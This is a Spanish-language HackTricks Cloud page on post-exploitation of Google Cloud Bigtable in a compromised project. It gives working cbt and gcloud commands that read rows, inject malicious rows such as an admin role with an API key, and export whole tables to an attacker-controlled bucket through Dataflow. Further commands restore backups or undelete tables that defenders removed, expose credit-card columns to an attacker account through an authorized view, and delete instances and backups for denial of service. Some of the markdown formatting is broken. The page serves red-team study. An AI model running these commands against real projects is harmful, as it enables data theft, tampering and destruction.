GCP - Bigtable Post Exploitation

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Bigtable

Para más información sobre Bigtable consulta:

GCP - Bigtable Enum

Tip

Instala la CLI cbt una vez mediante el Cloud SDK para que los comandos de abajo funcionen localmente:

Instalar la CLI de cbt
gcloud components install cbt

Leer filas

Permisos: bigtable.tables.readRows

cbt se incluye con el Cloud SDK y se comunica con las admin/data APIs sin necesitar middleware. Apúntalo al proyecto/instancia comprometido y extrae filas directamente de la tabla. Limita el escaneo si solo necesitas echar un vistazo.

Leer entradas de Bigtable ```bash # Install cbt gcloud components update gcloud components install cbt

Read entries with creds of gcloud

cbt -project= -instance= read

</details>

### Escribir filas

**Permisos:** `bigtable.tables.mutateRows`, (necesitarás `bigtable.tables.readRows` para confirmar el cambio).

Usa la misma herramienta para realizar upserts en celdas arbitrarias. Esta es la forma más rápida de backdoor configs, drop web shells, o plant poisoned dataset rows.

<details>

<summary>Inyectar fila maliciosa</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>

cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin

# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337

cbt set acepta bytes crudos a través de la sintaxis @/path, por lo que puedes enviar payloads compilados o protobufs serializados exactamente como los servicios downstream los esperan.

Volcar filas en tu bucket

Permisos: dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs

Es posible exfiltrar el contenido de una tabla completa a un bucket controlado por el atacante lanzando un job de Dataflow que transmite las filas a un bucket GCS que controlas.

Note

Ten en cuenta que necesitarás el permiso iam.serviceAccounts.actAs sobre algún SA con permisos suficientes para realizar la exportación (por defecto, si no se indica lo contrario, se usará el SA de compute por defecto).

Export Bigtable to GCS bucket ```bash gcloud dataflow jobs run \ --gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ --project= \ --region= \ --parameters=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ --staging-location=gs:///staging/

Example

gcloud dataflow jobs run dump-bigtable3
–gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
–project=gcp-labs-3uis1xlx
–region=us-central1
–parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
–staging-location=gs://deleteme20u9843rhfioue/staging/

</details>

> [!NOTE]
> Cambia la plantilla a `Cloud_Bigtable_to_GCS_Parquet` o `Cloud_Bigtable_to_GCS_SequenceFile` si quieres salidas Parquet/SequenceFile en lugar de JSON. Los permisos son los mismos; solo cambia la ruta de la plantilla.

### Importar filas

**Permisos:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

Es posible importar el contenido de una tabla completa desde un bucket controlado por el atacante lanzando un job de Dataflow que envíe filas a un bucket de GCS que controles. Para ello, el atacante primero necesitará crear un archivo parquet con los datos a importar con el esquema esperado. Un atacante podría primero exportar los datos en formato parquet siguiendo la técnica anterior con la opción `Cloud_Bigtable_to_GCS_Parquet` y añadir nuevas entradas al archivo parquet descargado



> [!NOTE]
> Ten en cuenta que necesitarás el permiso `iam.serviceAccounts.actAs` sobre alguna SA con permisos suficientes para realizar la exportación (por defecto, si no se indica lo contrario, se usará la SA de compute predeterminada).

<details>

<summary>Importar desde un bucket de GCS a Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/

Restaurar copias de seguridad

Permissions: bigtable.backups.restore, bigtable.tables.create.

Un atacante con estos permisos puede restaurar una copia de seguridad en una nueva tabla bajo su control para poder recuperar datos sensibles antiguos.

Restaurar copia de seguridad de Bigtable ```bash gcloud bigtable backups list --instance= \ --cluster=

gcloud bigtable instances tables restore
–source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
–async
–destination=<TABLE_ID_NEW>
–destination-instance=<INSTANCE_ID_DESTINATION>
–project=<PROJECT_ID_DESTINATION>

</details>

### Recuperar tablas

**Permisos:** `bigtable.tables.undelete`

Bigtable soporta eliminación suave con un período de gracia (normalmente 7 días por defecto). Durante este período, un atacante con el permiso `bigtable.tables.undelete` puede restaurar una tabla eliminada recientemente y recuperar todos sus datos, accediendo potencialmente a información sensible que se creía destruida.

Esto es particularmente útil para:
- Recuperar datos de tablas eliminadas por los defensores durante la respuesta a incidentes
- Acceder a datos históricos que fueron purgados intencionalmente
- Revertir eliminaciones accidentales o maliciosas para mantener la persistencia

<details>

<summary>Recuperar tabla de Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted

# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>

Note

La operación undelete solo funciona dentro del período de retención configurado (por defecto 7 días). Tras expirar esta ventana, la tabla y sus datos se eliminan permanentemente y no pueden recuperarse mediante este método.

Crear Vistas Autorizadas

Permisos: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows

Las vistas autorizadas te permiten presentar un subconjunto curado de la tabla. En lugar de respetar el least privilege, úsalas para publicar exactamente los conjuntos de columnas/filas sensibles que te interesan y whitelist tu propio principal.

Warning

El problema es que para crear una vista autorizada también necesitas poder leer y mutar filas en la tabla base; por lo tanto no obtienes ningún permiso adicional, así que esta técnica es en su mayoría inútil.

Crear vista autorizada ```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOF

gcloud bigtable authorized-views create card-dump
–instance= –table=
–definition-file=/tmp/credit-cards.json

gcloud bigtable authorized-views add-iam-policy-binding card-dump
–instance= –table=
–member=‘user:attacker@example.com’ –role=‘roles/bigtable.reader’

</details>

Debido a que el acceso está limitado a la Authorized View, los defensores a menudo pasan por alto que acabas de crear un nuevo endpoint de alta sensibilidad.

### Leer Authorized Views

**Permisos:** `bigtable.authorizedViews.readRows`

Si tienes acceso a una Authorized View, puedes leer datos de ella usando las bibliotecas cliente de Bigtable especificando el nombre de la Authorized View en tus solicitudes de lectura. Ten en cuenta que la Authorized View probablemente limitará lo que puedes acceder de la tabla. A continuación hay un ejemplo usando Python:

<details>

<summary>Leer desde Authorized View (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest

# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"

client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)

data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"

request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)

rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f"  {family}:{qualifier} = {value}")

Denial of Service via Delete Operations

Permisos: bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete

Cualquiera de los permisos de eliminación de Bigtable puede ser aprovechado para ataques de denial of service. Un atacante con estos permisos puede interrumpir las operaciones eliminando recursos críticos de Bigtable:

  • bigtable.appProfiles.delete: Eliminar perfiles de aplicación, interrumpiendo las conexiones de los clientes y las configuraciones de enrutamiento
  • bigtable.authorizedViews.delete: Eliminar vistas autorizadas, cortando rutas de acceso legítimas para las aplicaciones
  • bigtable.authorizedViews.deleteTagBinding: Eliminar asignaciones de etiquetas de las vistas autorizadas
  • bigtable.backups.delete: Eliminar instantáneas de backup, eliminando las opciones de recuperación ante desastres
  • bigtable.clusters.delete: Eliminar clusters enteros, causando indisponibilidad inmediata de los datos
  • bigtable.instances.delete: Eliminar instancias completas de Bigtable, borrando todas las tablas y configuraciones
  • bigtable.tables.delete: Eliminar tablas individuales, causando pérdida de datos y fallos en las aplicaciones
Eliminar recursos de Bigtable ```bash # Delete a table gcloud bigtable instances tables delete \ --instance=

Delete an authorized view

gcloud bigtable authorized-views delete
–instance= –table=

Delete a backup

gcloud bigtable backups delete
–instance= –cluster=

Delete an app profile

gcloud bigtable app-profiles delete
–instance=

Delete a cluster

gcloud bigtable clusters delete
–instance=

Delete an entire instance

gcloud bigtable instances delete

</details>

> [!WARNING]
> Las operaciones de eliminación suelen ser inmediatas e irreversibles. Asegúrate de que existan copias de seguridad antes de probar estos comandos, ya que pueden causar pérdida permanente de datos y una grave interrupción del servicio.

> [!TIP]
> Aprende y practica AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Consulta los [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) o al [**telegram group**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>